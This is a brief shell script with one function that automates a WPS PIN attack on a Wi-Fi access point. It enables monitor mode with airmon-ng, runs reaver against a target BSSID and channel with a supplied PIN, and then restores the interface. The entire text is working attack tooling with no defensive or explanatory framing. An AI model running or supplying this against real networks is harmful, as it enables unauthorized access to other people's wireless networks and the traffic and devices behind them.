#!/bin/sh

try_wps_pin(){
    # 
    # ESSID MAC CHANNEL ENC WPA WPA2 PIN
    #set -ef
    ESSID="$1"
    MAC="$2"
    CHANNEL="$3"
    ENC="$4"
    WPA="$5"
    WPA2="$6"
    PIN="$7"

    [ "$ENC" == off ] && return 2

    airmon-ng start ${WIFI:-wlan0}  $CHANNEL
    sleep 1
    reaver -i mon0 -b $MAC -vv -p "$PIN" -f -c $CHANNEL || :
    airmon-ng stop mon0
}